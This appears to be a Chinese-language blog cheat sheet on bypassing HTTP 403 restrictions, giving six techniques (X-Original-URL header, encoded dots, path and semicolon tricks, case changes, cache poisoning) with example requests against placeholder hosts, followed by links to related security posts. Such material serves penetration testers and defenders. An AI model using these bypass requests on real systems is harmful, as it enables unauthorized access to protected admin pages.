🚀 403 页面绕过技巧

  1. 🌐 使用 "X-Original-URL" 头:

    • 原理 :某些服务器在处理请求时,会检查 X-Original-URL 头部来确定请求的原始 URL。这种方法利用了服务器对 X-Original-URL 头部的信任,将其值设置为受限制的路径,从而绕过访问控制。

    • 原始请求:

      http 复制代码
      GET /admin HTTP/1.1
      Host: target.com
    • 绕过请求:

      http 复制代码
      GET /anything HTTP/1.1
      Host: target.com
      X-Original-URL: /admin
  2. ✨ 在第一个斜杠后添加 %2e

    • 原理%2e 是 URL 编码表示的点 (.),某些服务器可能会错误地解析它,导致忽略路径的一部分,从而访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin => 403
    • 绕过请求:

      http 复制代码
      http://target.com/%2e/admin => 200
  3. 🛠 尝试在 URL 中添加点 (.) 斜杠 (/) 和分号 (;):

    • 原理:一些服务器在处理路径时,可能会忽略或错误处理特殊字符,如点 (.)、斜杠 (/) 和分号 (;),从而允许访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin => 403
    • 绕过请求:

      http 复制代码
      http://target.com/secret/. => 200
      http://target.com/secret//. => 200
      http://target.com/./secret/.. => 200
      http://target.com/;/secret => 200
      http://target.com/;//secret => 200
  4. 🗂 在目录名称后添加 ../;

    • 原理 :目录遍历攻击的一种变体,通过在路径中添加 ../;,可能会绕过服务器的访问控制检查,直接访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin
    • 绕过请求:

      http 复制代码
      http://target.com/admin../;
  5. 🔠 尝试将 URL 中的字母大写:

    • 原理:某些服务器对路径区分大小写,通过更改路径中某些字母的大小写,可能会绕过访问控制检查。

    • 原始请求:

      http 复制代码
      http://target.com/admin
    • 绕过请求:

      http 复制代码
      http://target.com/aDmIN
  6. 📦 通过 Web 缓存中毒:

    • 原理:利用 Web 缓存服务器对请求头的信任,将受限制路径的值存入缓存中,从而在后续请求中绕过访问控制。

    • 绕过请求:

      http 复制代码
      GET /anything HTTP/1.1
      Host: victim.com
      X-Original-URL: /admin
相关推荐
火白学安全9 小时前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
携欢9 小时前
PortSwigger靶场之Exploiting server-side parameter pollution in a REST URL通关秘籍
前端·javascript·安全
好家伙VCC10 小时前
**发散创新:渗透测试方法的深度探索与实践**随着网络安全形势日益严峻,渗透测试作为评估系统安全的
java·python·安全·web安全·系统安全
人邮异步社区10 小时前
内网攻防实战图谱:从红队视角构建安全对抗体系
网络·安全·web安全
胡耀超11 小时前
大数据平台安全指南——大数据平台安全架构全景:从认证授权到数据治理的企业级实践指南——认证、授权、审计、加密四大支柱
安全·数据治理·数据安全·权限管理·安全架构·hadoop生态·合规审计
深盾科技13 小时前
C/C++逆向分析实战:变量的奥秘与安全防护
c语言·c++·安全
你的人类朋友19 小时前
“签名”这个概念是非对称加密独有的吗?
前端·后端·安全
携欢20 小时前
PortSwigger靶场之CSRF where token validation depends on request method通关秘籍
安全·web安全·csrf
周杰伦_Jay20 小时前
【计算机网络表格图表解析】网络体系结构、数据链路层、网络层、传输层、应用层、网络安全、故障排查
计算机网络·安全·web安全
黄金旺铺1 天前
从 FinalShell 迁移到 WindTerm:一次安全、高效、开源的终端升级之旅
安全·开源·windterm·finalshell